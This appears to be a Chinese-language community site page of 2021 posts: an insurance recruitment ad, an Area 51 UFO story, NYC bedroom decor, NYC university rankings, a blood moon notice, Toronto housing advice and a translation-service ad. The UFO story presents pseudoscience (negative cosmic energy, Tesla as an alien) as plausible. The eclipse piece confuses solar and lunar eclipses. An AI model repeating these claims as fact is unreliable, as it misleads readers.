纽约是世界经济之都、金融之都。我本科读的是工科,研究生转读文科,什么可以帮我以最快速度,改行换业到经济与金融?非常幸运的是,在自己想要买保险的过程中,我发现全美最大的互惠保险公司正在大量招聘,并提供免费的系列培训。即使是像我这样零基础的小白,也可以循序渐进地学习,一步步考取不同的执照,成为专业的理财顾问。

我立马参加了一期入门级的寿险执照培训,只一个月零散时间就考取了纽约州寿险执照。公司给我报销了考执照过程中的报名费与申请执照的费用。我一边继续学习一边工作,第一年薪资竟然超过了当年纽约州高校教授的平均薪资。几年来,我逐级考了多个执照,薪资很快涨成六位数的级别。我了解到,非金融专业背景的同事人数远多于直接以金融专业为背景的同事。工作三年以上的同事,平均薪资在六位数以上。工作五年以上,退休时可享有一份活多久领多久的养老金。

转行改业,我们给正在纽约求职的你,一个学习赚钱两不误、薪资上不封顶的机会!

如果你本身就是经济、工商、金融类的专业,我们给你职场晋升最快的机会!

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2021-05-21 / by / in ,
51区揭秘外星飞船动力

近期,越来越多UFO目击事件被披露出来。多国政府高官公开承认UFO和外星人是真实存在的。

在美国内华达州有一个神秘的51区,据说是有一个空军基地在这里,这个区被认为是美国用来秘密研究新的空军飞行器和测试的地方。51区总是充满着神秘与未知,因为很多关于外星人、不明飞行物、秘密武器等词汇都围绕着这个51区,人们的猜测从未停止。

前不久,一位自称曾经是美国51区UFO研究人员的神秘人士,向外界透露了美国俘获的UFO的动力细节。他称上世纪60年代,他正服务于美国51区UFO的研究机构,是一位动力装置研究的工程师。当时军方俘获了一架坠毁的UFO,被送到51区之后,他受命去研究UFO的动力设置。他和他的伙伴们发现靠近UFO底部以及环绕一周的外壁都有一些类似飞机涵道构造的暗室,里面均有高能物质灼烧的痕迹。这些暗室却没有任何类似人类发动机喷油嘴以及火花塞之类的设施。那么它们是如何做工的呢?这令在场的工程师们大惑不解。

一位在场的特异功能者却似乎突然悟透了其做工原理,他喊道:“负宇宙能!它们在利用负宇宙能做工!”听到这位特异功能者的叫喊,当场的工程师们都惊呆了。因为在他们看来,能够利用负宇宙能量,UFO的驾驶者除非像神仙一样具备利用宇宙能量的法术!那么,这究竟是什么样的一种能量呢?

其实,专家们会有不同的说法来解释这未知的科技,比如反重力推动系统、反物质、暗能量,等等,总之是人类目前尚未掌握的技术。

负宇宙能量也许指的就是和我们所处的正宇宙能量恰好相反的负宇宙中的能量体,也可以理解为是多维平行空间的宇宙体。中国很早出现的太极图最先告诉人类,宇宙包含阴阳两极,有正宇宙就有对应的一个负宇宙,而负宇宙具有的物质和能量恰好都与正宇宙的相反,正宇宙和负宇宙又通过太极图中,阴阳鱼的鱼眼相互转换联通,而鱼眼也许就是现代科学所认识的“黑洞”。然而,正负宇宙又不是简单的叠加,而是所处维度不同。古代的神话传说中,神仙要想去到更高维度的宇宙,就很可能具备一种法术,从而使自己能够脱离我们这个宇宙空间物质和维度的限制,比如重力,而瞬间进入另外宇宙维度空间。

外星人的UFO很可能已经具备了操控负宇宙能量和进入其它维度空间的技术,而这种技术就是用意念加以操控的一种技术,这在传说中的神仙那里叫做法术。我们还记得上世纪有一位神秘的物理学家——尼古拉·特斯拉,据传特斯拉是一位来自地外星球的外星人,据说他当时快要成功发明出利用负宇宙能量的动力装置,然而就在这个节骨眼上受到了空前的打压。这导致他干脆烧毁了他的相关手稿,而这一技术从此如石沉大海,再也没有被人类所掌握。如果这个传说是真的,那么也就意味着外星人一定也掌握了负宇宙能的使用技术,而UFO也许正是利用这种宇宙能驱动的外星飞行器。

在以往UFO目击事件的记录中,有不少是UFO干扰人类电子设施的。比如UFO飞临某地会造成当地停电、通讯中断、仪器失灵、导弹无法发射等情况,这说明UFO在利用负宇宙能时会产生一些类似于太阳风暴一类的物质,而这类物质就会造成人类电子设施的失灵。当然这些太阳风的类似物在外星智慧生物那里绝对是受控的!目前人类还没有掌握利用负宇宙能量和进入其它维度空间的技术,人类的科技在浩瀚的宇宙中是非常渺小而微不足道的。

不过,人类的探索从未停止。美国前国家情报总监约翰·拉特克利夫(John Ratcliffe)此前透露,将于6月初发布一份关于UFO的报告,将详细介绍“从未见过”和“难以解释”不明飞行物的发现。让我们拭目以待吧。

2021-05-19 / by / in ,
2021纽约最流行的卧室装修

文|雨荷

纽约这个城市由于许多原因吸引了很多关注。从时尚和风格世界的趋势发展到室内设计和建筑领域,这座城市数十年来一直在重新定义成千上万的文化和品味。纽约市的每个街区都有自己的魅力和独特的设计风格,从SoHo和NoHo等社区到曼哈顿标志性的摩天大楼,许多公寓,房屋和改建住宅都拥有自己的光环。

纽约卧室装修目前最受欢迎是现代风格,简约,高科技,东方或日本风格。这些卧室设计是年轻人选择的。这些全部以清晰的线条为特征,配色方案通常表现力强,建立在对比色的基础上。现代人们倾向于更安静,更舒适的内饰。这种氛围是采用古典风格以及普罗旺斯或斯堪的纳维亚风格创造的。有创造力的人更喜欢奢侈的东西-阁楼装饰艺术。

纽约卧室装修 示意图。

现代风格的卧室

现代性的基本规则是在不同对象中重复的简单形式。由于家具中这种形式的变化,墙壁,配件的装饰,动态的以及简洁的设计得以创建。

现代风格卧室的墙壁装饰大多是纯色的或带有温和的图形图案。通常,规则是相同的:简洁。一种主要颜色,一种或两种,最多三种用于强调。此外,主要颜色选择为浅色,柔和。

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现代风格 示意图。

现代风格卧室的墙壁是纯色的或带有图形图案的。

最新趋势之一是墙壁的颜色更亮,有时是对比色,有时是相同的颜色,但阴影较亮。在卧室里,它们通常是在床站立的墙壁或对面的墙壁上加重的。

新艺术风格:不一定很冷,带有男性“性格”。有非常柔软的卧室内饰的变化

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新艺术风格 示意图。

现代风格可能具有某种想法,可以反映所有者的世界观,其习惯和兴趣。例如,某些种族地区的某些地方–东部,斯堪的纳维亚或任何其他海洋主题、森林等,但随后从其固有色域中选择配色方案,或使其中性。

现代风格的卧室通常更具男性气息。缺少“装饰”和不必要的细节是坚强的人喜欢的东西,即使在很小的区域内,也可以实现现代风格的卧室设计:缺少不必要的细节和简单的线条会产生额外的体积感。

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现代风格 示意图。

古典风格的卧室

想要时尚的卧室内饰吗?您需要注意经典风格。对于年轻人来说,这太过庄重了,成熟的人们喜欢它,因为它舒适而舒适。在这里,他们已经使用了别致的织物,窗帘,带有烫金和卷发的家具。经典的所有属性都有存在的地方。

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古典风格 示意图。

家具的一个特色是高床头板,具有丰富的设计。它们可以是木制或软垫织物,皮革。在它的脚下可以是相同风格的长凳或小沙发。

伽玛设计古典风格的卧室时,也仍然受到很大限制:仅添加金色调和墙壁上的传统装饰。在这种情况下,植物图案更合适,但风格很强。

床, 卧室, 单人床

古典风格 示意图。

天花板和墙壁上可能是灰泥:各种装饰线条,圆柱,框架,壁柱。所有这些元素在高高天花板的宽敞房间中看起来都不错,窗户上还布满了窗帘。对于更适中的尺寸,建议使用更适中的窗帘。

普罗旺斯风格

这种风格在女性卧室中更为固有。在普罗旺斯的纺织品和墙壁上,经常使用花卉装饰和褶边。所有这些都是人类美丽的一半的特征。颜色为蓝色,粉红色,淡紫色,有时为绿色。这种风格适合浪漫的人:非常柔和而令人兴奋。

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普罗旺斯风格 示意图。

在天花板的设计中要注意一个有趣的主意。在一个白色的木制天花板上绘的花。它们在墙上重复出现。

但是同样可以制造出更加严格的内饰,尽管它无疑属于同一风格。

相同的风格可能更加粗糙:人们不仅生活在城市中。它非常适合木房子的内部:这种设计欢迎使用横梁,木墙以浅色调着色。

经典的卧室

如果您喜欢经典但又带有现代便鞋的物品,则应像以前一样专注于一张大床。围绕它,将旋转其余的卧室家具,以及照明,装饰元素的颜色和墙壁的颜色。我们建议使用深色木材,柔软的香草墙和明亮的重点照明。植物可以为卧室增添非常微妙的细节。

经典的卧室 示意图。

但是也有些人想要简单的东西,尽管只有最详细的颜色才具有可检测的颜色组合。看图片,您会明白的。床,镜框和窗帘的木材呈蓝色的不同阴影,就像灯罩一样。必须使用20世纪中叶的古典风格家具。

雄伟风格

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雄伟风格 示意图。

同样,有些人受到维多利亚时代等旧风格的启发,并将他们的卧室变成电影场景。凭借雄伟的床铺和宽敞的蚊帐,卧室可以成为唤醒想象力的地方。

极简主义风格

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极简主义风格 示意图。

简约的房间在设计卧室时也有其应有的用。它的直线以及各种浅色和柔和的颜色赢得了许多其他当代潮流的胜利。

在床上用品的任何房间添加色彩丰富的细节非常容易,您只需要确定自己喜欢的图案以及最能激发您灵感的颜色,充满创意。

2021-05-19 / by / in , , , , , ,
来美国留学去哪里?最新统计纽约顶尖大学排名

文|雨荷

纽约市不仅是百老汇,华尔街,自由女神等的故乡,  而且还拥有世界一流的大学。2020年QS世界大学排名中有八所 大学,还有三所位于城市附近的大学。纽约市成为世界上最受欢迎的学习目的地之一,正如其 在《2018年QS最佳学生城市》中的第18名所显示的那样。

1.康奈尔大学Cornell University

康奈尔大学Cornell University

康奈尔大学以美国第一所提供兽医学学位的大学而闻名,同时也拥有美国第一所教授现代远东语言的大学。

康奈尔大学(Cornell University)的主要校园位于伊萨卡(Ithaca),距纽约市西北约200英里,但它在纽约市也有很强的影响力。其医学校园位于曼哈顿上东区,2017年9月,该大学在罗斯福岛(位于将曼哈顿岛与曼哈顿区分开的河中间的小岛)开设了创新的“康奈尔科技”工程校园。皇后区),创造28,000个工作岗位。康奈尔大学的金融工程和建筑学院也设在曼哈顿。

纽约州附近还有三所国际排名高的大学,位于相邻的州。这些都是 罗格斯-新泽西州新不伦瑞克省州立大学 (排名第262联合世界,高达21位),在 特拉华大学 和 罗格斯-新泽西州立大学,纽瓦克 (651- 700)。这些大学位于纽约市郊,但仍在附近,它们较安静的环境和较便宜的生活费用可能会吸引您。

2.哥伦比亚大学 Columbia University

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哥伦比亚大学 Columbia University

哥伦比亚大学是世界领先的研究中心,在整个学科领域均提供强大的服务。在《 2019年QS世界大学学科排名》中,哥伦比亚大学在48个科目中排名令人印象深刻的 40个,其中包括英语和文学,地球与海洋科学,历史,解剖学和法学的前十名。

哥伦比亚大学位于曼哈顿上西区的中心位置-靠近中央公园的北端,就在百老汇大街旁,这条大道以纽约著名的戏剧界而得名。

它拥有一支高度多样化的师资队伍(超过4,200名教职员工),是美国大学中第三大国际学生群体,其33,032名学生中有36%来自美国以外的地区。

3.纽约大学New York University

纽约大学New York University

纽约大学是纽约市另一所名列全球最佳大学中的顶尖大学,今年排名上升4位,排名第39位。值得注意的是,纽约大学非常重视国际化,在世界各地设有许多分校,并设有令人印象深刻的出国留学计划。除了帮助自己的学生在国外度过时光,纽约大学还在庞大的学生社区中吸引了大量的国际学生。

尽管纽约大学在纽约有多个地点,但其主要枢纽是格林威治村的华盛顿广场校园。曼哈顿下城这一地区被称为村庄,被誉为纽约市最具创意和波西米亚风情的地区之一,为纽约大学的学生提供了绝佳的氛围。

多年来,这所学校吸引了众多作家,艺术家,音乐家和知识分子的不拘一格,在纽约学习–毫无疑问,这对许多有创造力的学生来说都是吸引人的部分。

4. 耶西瓦大学Yeshiva University

耶西瓦大学Yeshiva University

耶西瓦大学到2020年,全球大学 排名第359位, 是纽约另一所研究重点最强的大学。它成立于100年前,其使命是将犹太传统和文化与西方遗产相结合,并且在Yeshiva大学博物馆中可以看到这种文化焦点的持续影响,该博物馆通过艺术,建筑和历史探索犹太人的生活。

与此处列出的纽约其他大多数大学相比,这是一所相对较小的大学,耶希瓦大学有大约6,300名学生,其中只有2,570多名是本科生。Yeshiva University的校园和设施遍布曼哈顿,布朗克斯区和皇后区(还有一些在以色列),其主要校园位于曼哈顿上城的华盛顿高地地区。

5. 新学校The New School

新学校The New School

在最近的世界大学排名中排名第561-570位的 The New School  (以前称为New School University)今年庆祝其百年诞辰,有10,000多名学生,其中约30%是国际学生。

新学校的主要校园位于该村的艺术环境中,因为该机构主要侧重于艺术,人文和社会科学,因此是一个合适的地点。它的七个学术部门分别是:文科,音乐,戏剧,爵士和当代音乐,公众参与,社会研究和设计。

在其著名的校友中,新学校拥有多个艺术领域的先行者,包括演员布拉德利·库珀,时装设计师汤姆·福特和作曲家伯特·巴哈拉赫。

6. 纽约城市大学City University of New York

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纽约城市大学City University of New York

虽然此处列出的纽约所有其他大学均为私立,但纽约城市大学(CUNY 是NYC的公立大学系统。CUNY目前在全球排名601-650,是美国最大的城市大学系统,由遍布曼哈顿,皇后区,布朗克斯和布鲁克林的24所大学组成(在史坦顿岛上设有一所大学),有274,000名学生入学。当然。

从职业培训到博士学位研究,全日制学习到夜校,纽约城市大学几乎可以肯定有一个与之匹配的课程。CUNY还以与城市居民区之间的紧密联系而自豪,并在五个行政区建立了实习和奖学金计划网络,以丰富学习生活。

7. 史蒂文斯理工学院Stevens Institute of Technology

史蒂文斯理工学院Stevens Institute of Technology

尽管实际上位于邻近的新泽西州,但 史蒂文斯理工学院却因与曼哈顿岛隔江相望而跻身我们在纽约的顶尖大学之列。在今年的世界排名中,它的排名为651-700。

史蒂文斯技术学院坐落在哈德逊河西岸霍博肯(Hoboken)占地55英亩的校园内,可让您从市中心附近逃脱,欣赏纽约著名天际线的壮丽景色。

顾名思义,史蒂文斯理工学院非常重视工程,科学和技术学科,并以创新大学的身份进行营销。但是,它也提供艺术和人文学科的学位–实际上,所有本科生都必须修读一些人文课程。史蒂文斯理工学院(Stevens Institute of Technology)招收了约6,900名学生,其中一半以上是研究生。

8. 福特汉姆大学Fordham University

福特汉姆大学Fordham University

福特汉姆大学 在2020年QS世界大学排名中排名801-1000, 自称为纽约耶稣会大学,擅长于人文,科学和商业。

福特汉姆大学由10所学院组成,其中四所大学为本科生,六所大学为研究生。这些学校总共招收约16,037名学生,其中有纽约市的两个主要校区-布朗克斯区的Rose Hill校区和曼哈顿的林肯中心-以及曼哈顿以北约25英里的西哈里森大学较小的校区。

福特汉姆大学的玫瑰山校区靠近小意大利地区,在历史上与意大利移民有关,但仍以意大利餐馆和商店为特色,而林肯中心则靠近中央公园的东南角。

2021-05-17 / by / in , , ,
5月26日 超级血月亮再现

这个月的晚些时候,将出现一次天文奇观,”超级血月”再现。5月26日这一天,将出现今年最大的满月。5月份的满月,刚好发生在月球绕地轨道上最接近地球的位置,因此月面看起来会觉得比较大,是今年的12次满月中最大的一次满月,也称为是“超级月亮”。

 

 

5月份的满月,比今年12月19日那次满月(年度最小满月)的视觉直径大了约12%。

更为奇特的是,本次满月还正逢月全食。将出现超级“血月”现象。全球范围都可以观察到,在美国的话,西部是比较好的观测点。

称其为“血月”是因其发出红色光芒而得名。根据美国国家航空航天局(NASA)的说法,血月发生在月全食期间。此时地球处在月球和太阳之间。

值得注意的是,这次血月将是5月满月,超级月亮和月全食相结合的结果。

美国国家航空航天局在网站上解释月全食出现血红色的原因是,这时太阳光被地球大气层过滤折射,只剩红色光可以穿透。所以我们能看到在地影里,一轮红色的月亮挂在天空中。

5月26日的日全食过程,月亮穿过地球的阴影,将持续数个小时。这个时候,月亮会呈现出血红色。

不同于日食,月食可以用肉眼观察,这次日食的最佳观察点是环太平洋地区:美洲,澳大利亚和新西兰以及东亚。对于美国来说,最好的观赏地点是夏威夷,阿拉斯加和西部各州。

在美东地区,只能在日暮时分观察到日食刚刚开始的一小部分,之后月球就位于地平线以下了。越往西部,能观察到更多月食的过程,在美国西半部基本可以观察到日食全过程。

月亮在世界协调时间(UTC)11点11分至11点25分达到“全食”。大家可以依次来推算你所在地区的时间。如果你在美国能够观察到日食的地区,只要起个早,就可以看到超级血月这种罕见的天文现象了。

不过,在中国古代,人们相信,红色月亮为至阴至寒之相,兆示人间正气弱,邪气旺,戾气强;风云巨变,山河悲壮;天下动荡,火光四起;故称:血月。欧洲人认为血月会唤醒黑暗魔力,印度人认为血月预示灾难。

佛教和道教在出現血色月亮的時候都會認為是天地間陰陽失調。历史上确实也记载了很多战乱和灾祸都与血色月亮有关。

不知道您怎么认为呢?

2021-05-17 / by / in
多伦多买房| 2021多伦多房地产往哪买?华人最爱社区排名|高性价比楼花不看可惜

文|多伦多买房智多星

实际上加拿大房地产在疫情期也是爆发了房市热,各地的房价都在上涨,作为加拿大最大城市的多伦多房地产必然领跑群雄。所以现在多伦多买房要注意些?房市如何?有一些坑要小心,请继续往下看!

多伦多房地产市场現狀

大多伦多区域(GTA)中,多伦多房地产市场(多伦多市)MLS的最新统计数据显示(五月房市数据),过去28天平均房价为1,121,446加币和7,395套新替代。截至今天(5/17) ,多伦多房市数据显示,房屋的平均待售天数为11天。

多倫多地產,多倫多平均售出房價

从4 / 15-5 / 13的统计,多伦多房地产市场,平均每110万加币,房价较上个月上涨了2.4%,去年同期上升了19.8%。新上市的房产有7395个,房市有4224个销售,销售价比上市价达107%。

多倫多買房,獨立房價

多倫多買房,鎮屋房價

多倫多房地產,康斗房價

多伦多独立房新上市房有2179个,销售1250个,上市中有1646个。多伦多镇屋(Townhouse)上市房有1058个,销售1006个,上市中有676个。多伦多康斗(Condo)上市房有4001个,销售1944个,上市中有3195个。可以修剪,镇屋的竞争程度最大,康斗较缓。

以每平方尺计算现在的多伦多房价:
Downtown:1100-1400加币/每平方尺
Midtown:950-1250加币/每平方尺
北约克:850-950加币/每平方尺

以下可以看到大多伦多区域(GTA)的平均房价,中位房价:
其中大多伦多房市中的国王镇有最高的房价。

以下是大多伦多区域(GTA)的房价涨幅比例(至少):
大多伦多房市中的Mono有最大的涨幅。

*以上多伦多房市数据来源:房地产网ZOLO

多伦多买房小提示

多伦多市中心虽然繁华,但也不是所有地段都好,要注意街道的卫生条件,治安条件,例如某些医院出入的精神疾病患者,有时会让人感觉有治安不好的观感。

大多倫多地區(維基百科)

多伦多市中心买房,近地铁和高速的位置还是相对更好的。例如北约克就是一个在交通,生活机能,治安,学区各方面来说都比较均衡的地区。 ,不过房价不好入手,对新手来说压力可能过大。

多伦多房地产 华人喜爱社区前五

五,Cornell社区:万锦市(Markham)东北边
先介绍第五名Cornell社区,此为新发展社区,有很多新房陆续兴建,有大量屋大房多,价格相对实惠的房屋,独立屋,镇屋都有,两千尺住宅大约在一百万加币以上。

四,Willowdale社区:Yonge&Finch
因此,这里有很多年轻人很钟意,也吸引过多的留学生的租住。对投资买家是一个好诱因。

三,Whitechurch-Stouffville社区
这里距离万锦市北边只有15分钟距离,很适合小家庭居住,既有安静也有繁华。双车位独立屋约一百万加币。这里有停车场公园可以踏青,对工作之余的人士是很适合的生活。

二,Markville社区
想要顶级学区选这里就对了,Markville高中排名多伦多第二!有孩子的家庭都会向往这个社区,而且治安好,近地铁,生活方便,还有华人美食,超市,所以吸引大量华人居住。

一,South Unionville(南渔人村)
第一名的社区当然不简单,在各方面都很受到华人喜爱,除了生活机能好,娱乐也丰富,吃美食不用愁,去公园很靠近,而且高中,小学都非常好,所以成为第一名华人最爱社区当之无愧,只是太多华人想抢这里,资金不多就难抢房了。据统计有超过62%的华人居住在这里。这里有新旺角,朗豪坊广场,三家华人超市,而且这一切都只要步行即可到达。

多伦多楼花:大多地区最新楼花

1. Condo:珀奇(Perch)位于金斯顿路(Kingston Road)4694 Kingston Rd,Scarborough,ON,俯瞰着高地溪(Highland Creek),是菲尔姆兰德(Firland)备受期待的项目。从著名的Core Architects惊人的极简主义建筑设计到其启发性的便利设施,Perch的每个方面都彰显着幽静的山间生活。起步价:$ 49万9,990加币。可入住:2023年八月份。

2.独立房:在Victory Green,您会发现一种生活方式,可以让您每天享受无数的小胜利。这一切都始于万锦市的便利位置和,娱乐场所就在您家门口附近的几分钟之内。当然,片刻之遥即是美丽的自然空间,例如羽毛石公园,博普雷公园,费尔特里公园和胭脂国家城市公园。新楼起步价:$ 95万加币。可入住:2022年二月份。

3.镇屋:The Towns On Bayview位在列治文山19th&Bayview Ave,Richmond Hill,ON。2021年末可供居住,起步价:$ 1,089,990。 。物业费$ 119。

4. King East Estates位于橡树山的连绵起伏的丘陵上安大略省列治文山的King Road&Mccachen St,在历史悠久的地区被丘陵,森林和水壶湖所环绕。在King City外体验宁静的生活。这些房屋采用迷人的内饰设计,精致而舒适,非常适合家庭居住。选择不同的独立屋或联排别墅,各种户型满足您的需求。起步价:$ 1,25万5,000。可居住:2021年三月份。

以上楼花购房请洽多伦多房地产经纪:于文博,于军
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邮箱:bobyuwenbo1995@gmail.com
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多伦多贷款买房 多伦多买房Offer

多伦多买房,当然很多人也是贷款,银行在这方面预期贷款人进行贷款压力测试,一般而言如果是用收入来计算房贷,最多约能贷款住房的八成,首付20%,同时贷款额度不能超过自己年收入的5至5.5倍。如果首付降低比例,贷款额度也会降低。如果是夫妻都有收入,贷款的金额就会大大提高。

信用分数:多伦多贷款,在加拿大的五大银行中,都要求信用分数基本需要680分。这里要注意信用卡的还款,除了按时缴清卡费,贷款人最好不要申请过多的信用卡,不然会拉低信用分数,因为每开一张信用卡,银行都会查你的信用分数,每查一次就会拉低几分。所以有两张信用卡其实就够用了。并且提醒大家,轻易不要使用分期付款购物,也会拉低信用分数。

贷款经纪人:如果你说我已经看好房子准备贷款了,请不要随便去网上做贷款预批申请,因为你不知道帮你进行的对方有没有经验,假如没有经验,他很可能无法帮你完成贷款,又造成信用分数被拉低,而且要在同银行另找贷款经纪也没办法转换。最好事先询问有口碑的贷款经纪,或者多问几个经纪,以确认对方是否有能力帮你做好贷款,以免多次被查信用记录,又再次被拉低信用分,非常不值。

贷款预批:是否需要先做贷款预批?这要看个人情况,有些不抢的房子,可以直接下一个有条件要价:如果贷款能通过,Offer就成立,要不能通过,Offer就不成立。那假如是一个抢手的房子,最好还是先拿到贷款预批信再去抢房。

但有些情况,在抢offer的情况下,卖家就有了更多的选择权,这个卖家有时候会注意选择不带任何附加条件的offer。而在这个时候为了提高自己的胜算,有时也会在情急之下,出一些不带任何条件的报价,多伦多房地产经纪于文博提醒买家:你可以下一个不带验房条件的报价,但如果是在这样的情况下,请你一定在下报价之前先清楚3个风险:

一个是验房的风险,这个由于你下了无条件,那么房屋有很多隐蔽工程你没有看到;另外一个是金融风险,就是银行是否会遵循你要求的,或者你评估的,或者你们成交的金额,按照预定的方式给你贷款。因为可能银行给你最后评估的价格是不一样的。

第三个风险,就是如果你买一些公寓,一些业主委员会历史法律文件,或者其他的一些法律文件,因为你下的报价是无条件的,在购买之前你也并不清楚。以上三个风险是大家应该在实践过程中特别注意的。

加拿大房地产市场暴涨 政府调控

最后我们来谈谈加拿大政府的政策。为了替代加拿大火热的房市降温,加拿大金融机构监管办公室(OSFI)于今年6/1起,调高“高无保险按揭压力测试(压力测试)”的利率,从4.79%升至5.25%。所谓“压力测试利率”就是银行在计算贷款额度时使用的利率,而不是按照当前按揭利率去计算,简单说就是一个更大的利率来计算,使贷款5月份的按揭利率:浮动利率约1.4%,固定利率约2.3%左右。

如今,6/1起「压力测试利率」升至5.25%,估计将会导致购房者的贷款额的下降4.5%。这对未来加拿大购房者带来的压力,至于如何如何还要看下半年统计数据。

加拿大移民政策对于多伦多地产的影响

加拿大政府在移民政策上,依然是大开门户的,在4月14日开始,就有9万个名额的工作签证和留学生的移民申请者,已经被抽中绿卡,换句话说,这些人如果买房就不再需要支付15%的外国买家税。

再来,由于加拿大政府出台了一个法规:如果留学生毕业后想要拿到工签的话,必须要在今年12月底前回到加拿大境内上课,甚至是网络上课,也要在加拿大境内。因此,有很多留学生都预计在夏季要回到加拿大租房。这方面也会带动投资者的购房行动。

购房请洽多伦多房地产经纪:于文博,于军
电话:437-881-8888
邮箱:bobyuwenbo1995@gmail.com
地址:7240 Woodbine Ave, Suite # 103
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2021-05-16 / by / in ,
美国纽约/洛杉矶/旧金山/波士顿 专业翻译公证和领事认证

在美国申请身份调整,绿卡申请、驾照、保险或其它法律事务,需要将中文证件翻译公证或认证翻译成英文。说到翻译公证,其实并不需要去美国的城市公证处,找个美国专业翻译公司,最好是美国翻译协会的成员,能免去被移民局或其它机构复查的麻烦,既快又省钱。另外,在美国的华人如果无法亲自到中国办理事务,需要领事认证/三级认证国内事务,涉及出生证、结婚证、学位证等各类证件翻译和公证,要怎么办理呢?

翻译公证/认证翻译

翻译公证/认证翻译(Certified Translation) 是将中文或其它语言证件由专业的翻译机构翻译成英文并加以公证。

就是说,英文翻译件是经过认证的,经过有资质的翻译人员的翻译,并声明其从业资格的一份翻译证书。

翻译公证的材料可用于院校申请、转学分申请、移民申请、工作及专业资格证书申请、降低保险费率、法庭官司等极为广泛的用途。

常见的翻译公证文件

那么当您申请H1B工作签证或绿卡时。需要递交给USCIS(移民局)的申请材料中就会包括您在中国取得的学位证、结婚证、出生证等证件的英文翻译公证件。

如果刚到美国,可能需要翻译公证中国驾照、驾驶记录等文件递交给DMV(美国交管局)、保险公司、银行机构等等。

对于申请赴美求学的小伙伴来说,就需要翻译公证国内高中或大学取得的学位证、成绩单等文件或其他资格类证书考试。

选择翻译公司

选择一家专业的翻译公司,能为您省下来回复查的麻烦,可以考虑以下几个方面:

资质:最好是美国翻译协会认证的翻译公司。对于审核材料的机构(如移民局)来说,美国翻译协会认证的翻译公司,他们的翻译文本都是符合格式和用词规范的,可靠度较高。

服务:公司员工能否提供耐心解释,文本递交和接受是否方便(比如网上提交和邮件提交)。翻译的周期能否符合您的需要,有没有加急服务等。在满足您需求的同时还能节省下宝贵的时间。

价格:合理的收费,肯定是要考虑的。

美域翻译公司

美域留学与翻译公司是一家权威翻译和留学机构,在美国的迈阿密、波士顿、旧金山、洛杉矶和纽约均设有办公室。 自从2009年成为美国翻译师协会(ATA)的会员以来(会员号:249353),美域已有十多年的翻译公证经验。公司每年帮助数千名客户向美国移民局、各级法庭、ECFMG/USMLE美国医生资格考试、美国交通管理局、保险公司等机构提供材料,并始终保持了100%通过率。

美域为客户提供灵活的文件递交方式,无论是互联网或邮件,美域可以为美国和世界各地客户提供可靠、便捷的翻译公证服务。

美国翻译师协会会员证

为保证翻译件的准确性,美域的聘用的都是一流的翻译人才。美域员工绝大多数毕业于美国一流大学,拥有硕士或博士学位。公司员工都在美国学习、工作和生活多年,具备优秀的双语能力,熟悉美国文化,并至少深度掌握一门专业知识,员工所学专业涵盖了医学、教育、法律、财经管理、理工及社会人文科学等诸多领域,满足各类客户需要。

美域作为ATA认证会员,熟悉相关机构翻译要求,经验丰富,翻译精确。

美域的价格也很公道,而且服务快速,小型文件仅需3个工作日完成,加急服务仅需1个工作日。

价格

常见的价格

(注:以上价格为常见标准文件格式价格,如果文件与标准文件格式不一致,价格可能会有所浮动。)

美域翻译服务范围

 

 

除了专业的翻译认证,美域还提供技术翻译、口译、学位评估、医疗翻译和领事认证(三级认证/公证)服务等各类专业服务。

领事认证(三级认证/公证)

领事认证(三级认证/公证):在美国的华人很多时候无法亲自到中国办理事务,只有采用《委托书》委托他人办理,或者就某些事务通过《声明书》做出声明。而《委托书》、《声明书》等文件必须经过领事认证(又称三级公证/认证)才能被中国有关部门接受在中国使用。此外,美国机构出具的文件,如出生证、公司注册等,也要经过领事认证(三级认证)才能在中国使用。

三级认证的程序:首先由地方公证员(Notary Public)对文件进行公证(即第一级公证),或由有权机关出具“核证副本“(Certified Copy)。然后进行州务卿认证(即第二级认证),最后进行领事认证(即第三级认证)。经过以上三个级别的公证/认证后,领事认证完成。所以,领事认证与三级认证本质上是同一件事。

送往中国香港、澳门地区使用的有关文书,无需办理领事认证。有关文书在美国当地公证员公证,并经有关州务卿或美国国务院认证办公室确认后即可使用。

领事认证(三级认证/公证)的常见材料:各种委托书(如房产、股票等财产买卖委托、户口办理委托、律师事务委托);各种声明书(如放弃财产继承权、护照更新、持多种身份证件);美国机构出具的各种文件(如美国出生证、结婚证、离婚证、死亡证明、法庭判决、护照、绿卡、学位证、无犯罪记录、医生执照、在职证明、病历等等),及其它文件的翻译件。

美域办理三级认证/公证的优势

  1.  三级认证/公证(领事认证)和翻译可一步到位全部办理。美域公司可为客户办理全部三个级别的公证认证。经验丰富,指导详细。
  2. 各种委托和声明事项内容繁多,形式多样。中国使领馆对文件内容和身份证件要求严格,不符合要求的会被拒收。美域公司积累了多年的丰富经验,提供有效的咨询和建议,免您徒劳奔波。
  3. 免费提供模板和中国使领馆认证申请表。如房产买卖委托、户口办理委托、放弃继承声明、护照国籍声明、单身声明等。您只需准备好自己的身份证件和公证(认证)的基本信息,其它都由美域免费提供,您可省心省力省时间。
  4. 为特殊客户,美域可提供上门服务和代客邮寄服务。

美域公司在美国的迈阿密、波士顿、旧金山、洛杉矶和纽约设有办公室。无论您是办理留学申请、投资移民、绿卡翻译,还是需要处理国内的房产,需要办理委托书,美域都可为您提供专业的服务。

另外,除了英语,美域还可提供西班牙文、阿拉伯文、德文、俄文、日文、韩文、印度语等100多种语言的翻译认证、笔译、口译服务。

新冠疫情期间,美域各办公室一直坚持工作,而且成功地帮助众多客户办理了在纽约/洛杉矶领事馆和DC大使馆等领事(三级)认证/签证/护照和旅行证更新等业务,积累了新冠期间申请中国使领馆各类领事、签证、证件的宝贵经验,并掌握了有效的申请途径。

前段时间移民排期的改变,美域推出了485和944出生证、结婚证及外国学历认证一站式服务,快捷高效。

迈阿密/翻译公证/出生证翻译公证 786-250-3999 / 786-206-3184

旧金山翻译公证/三级认证 415-868-4892 翻译推荐/领事认证

如您需要咨询或业务联系,可致电美域留学与翻译公司各地办公室:

旧金山办公室

中国直拨美国: 950 4042 3692

美国本地电话: +1 415 868 4892

电子邮箱: ca@aet21.com

微信:18611291421

地址:851 Burlway Rd Ste 421, Burlingame CA 94010

网站:https://americantranslationservice.com

工作时间:周一 至周五上午9:00 – 下午5:30.(美西时间)

 

洛杉矶公证服务处

电子邮箱:ca2@aet21.com

电话:949-954-7996

微信:LA9499547996

地址:19800 MacArthur Blvd, Ste 420, Irvine CA 92612

 

迈阿密办公室

中国直拨美国: 950 4037 9459

美国本地电话: +1 786 250 3999

电子邮箱: info@aet21.com

网址:https://www.americantranslationservice.com

微信: AET-Miami

地址:15321 S Dixie Hwy, #302, Palmetto Bay, FL 33157

营业时间:周一至周五,9am-5:30pm 美国东部时间

纽约办公室

